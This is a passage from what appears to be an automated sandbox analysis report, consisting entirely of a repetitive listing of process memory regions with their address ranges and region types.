"private_0x0000000000430000" filename = "" Region: id = 3898 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3899 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3900 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3901 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3902 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3903 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3904 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3905 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3906 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3907 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3908 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3909 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3910 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3911 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3912 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3913 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3914 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3915 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3916 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3917 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3918 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3919 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3920 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3921 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3922 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3923 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3924 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3925 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3926 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3927 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3928 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3929 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3930 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3931 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3932 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3933 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3934 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3935 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3936 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3937 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3938 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3939 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3940 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3941 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3942 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3943 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3944 start_va = 0x8fd0000 end_va = 0x90c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008fd0000" filename = "" Region: id = 3945 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3946 start_va = 0x450000 end_va = 0x46dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3947 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3948 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3949 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3950 start_va = 0x450000 end_va = 0x46dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3951 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3952 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3953 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3954 start_va = 0x450000 end_va = 0x46dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3955 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3956 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3957 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3958 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3959 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3960 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 3961 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3962 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3963 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3964 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3965 start_va = 0x8fd0000 end_va = 0x90cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 3966 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3967 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3968 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3969 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3970 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3971 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3972 start_va = 0x90d0000 end_va = 0x92cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000090d0000" filename = "" Region: id = 3973 start_va = 0xf750000 end_va = 0xfb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f750000" filename = "" Region: id = 3974 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3975 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3976 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3977 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3978 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3979 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3980 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3981 start_va = 0xb2d0000 end_va = 0xb3dbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 3982 start_va = 0xb3e0000 end_va = 0xb4e8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3e0000" filename = "" Region: id = 3983 start_va = 0xf270000 end_va = 0xf384fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 3984 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3985 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3986 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3987 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3988 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3989 start_va = 0xb2d0000 end_va = 0xb3d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 3990 start_va = 0xb3e0000 end_va = 0xb4f9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3e0000" filename = "" Region: id = 3991 start_va = 0xf270000 end_va = 0xf387fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 3992 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3993 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3994 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3995 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3996 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3997 start_va = 0xb2d0000 end_va = 0xb3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 3998 start_va = 0xb3e0000 end_va = 0xb4f9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3e0000" filename = "" Region: id = 3999 start_va = 0xf270000 end_va = 0xf393fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4000 start_va = 0xb2d0000 end_va = 0xb3e8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4001 start_va = 0x112d0000 end_va = 0x117c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112d0000" filename = "" Region: id = 4002 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4003 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4004 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4005 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4006 start_va = 0xb3f0000 end_va = 0xb50dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3f0000" filename = "" Region: id = 4007 start_va = 0x117d0000 end_va = 0x11cc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000117d0000" filename = "" Region: id = 4008 start_va = 0xf270000 end_va = 0xf395fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4009 start_va = 0xb2d0000 end_va = 0xb3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4010 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4011 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4012 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4013 start_va = 0x430000 end_va = 0x432fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4014 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4015 start_va = 0xb3f0000 end_va = 0xb51afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3f0000" filename = "" Region: id = 4016 start_va = 0xf270000 end_va = 0xf393fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4017 start_va = 0xb2d0000 end_va = 0xb3f5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4018 start_va = 0xb400000 end_va = 0xb529fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b400000" filename = "" Region: id = 4019 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4020 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4021 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4022 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4023 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4024 start_va = 0xf270000 end_va = 0xf3a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4025 start_va = 0xb2d0000 end_va = 0xb40afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4026 start_va = 0xb410000 end_va = 0xb543fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b410000" filename = "" Region: id = 4027 start_va = 0xb2d0000 end_va = 0xb402fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4028 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4029 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4030 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4031 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4032 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4033 start_va = 0xb410000 end_va = 0xb553fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b410000" filename = "" Region: id = 4034 start_va = 0xb2d0000 end_va = 0xb407fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4035 start_va = 0xb410000 end_va = 0xb54afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b410000" filename = "" Region: id = 4036 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4037 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4038 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4039 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4040 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4041 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4042 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4043 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4044 start_va = 0xf270000 end_va = 0xf3bafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4045 start_va = 0xb2d0000 end_va = 0xb40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4046 start_va = 0xb410000 end_va = 0xb55dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b410000" filename = "" Region: id = 4047 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4048 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4049 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4050 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4051 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4052 start_va = 0xf270000 end_va = 0xf3bafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4053 start_va = 0xb2d0000 end_va = 0xb41cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4054 start_va = 0xb420000 end_va = 0xb575fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b420000" filename = "" Region: id = 4055 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4056 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4057 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4058 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4059 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4060 start_va = 0xf270000 end_va = 0xf3c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f270000" filename = "" Region: id = 4061 start_va = 0xb2d0000 end_va = 0xb423fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4062 start_va = 0xb430000 end_va = 0xb58efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b430000" filename = "" Region: id = 4063 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4064 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4065 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4066 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4067 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4068 start_va = 0xb2d0000 end_va = 0xb42efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4069 start_va = 0xb430000 end_va = 0xb586fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b430000" filename = "" Region: id = 4070 start_va = 0xb2d0000 end_va = 0xb42efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4071 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4072 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4073 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4074 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4075 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4076 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4077 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4078 start_va = 0xb430000 end_va = 0xb597fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b430000" filename = "" Region: id = 4079 start_va = 0xb2d0000 end_va = 0xb42cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4080 start_va = 0xb430000 end_va = 0xb591fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b430000" filename = "" Region: id = 4081 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4082 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4083 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4084 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4085 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4086 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4087 start_va = 0xfb50000 end_va = 0xfcb4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb50000" filename = "" Region: id = 4088 start_va = 0xb2d0000 end_va = 0xb43cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4089 start_va = 0xb440000 end_va = 0xb5b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b440000" filename = "" Region: id = 4090 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4091 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4092 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4093 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4094 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4095 start_va = 0xfb50000 end_va = 0xfcc3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb50000" filename = "" Region: id = 4096 start_va = 0xb2d0000 end_va = 0xb443fff monitored = 1 entry_point = 0x0 region_type = private name = 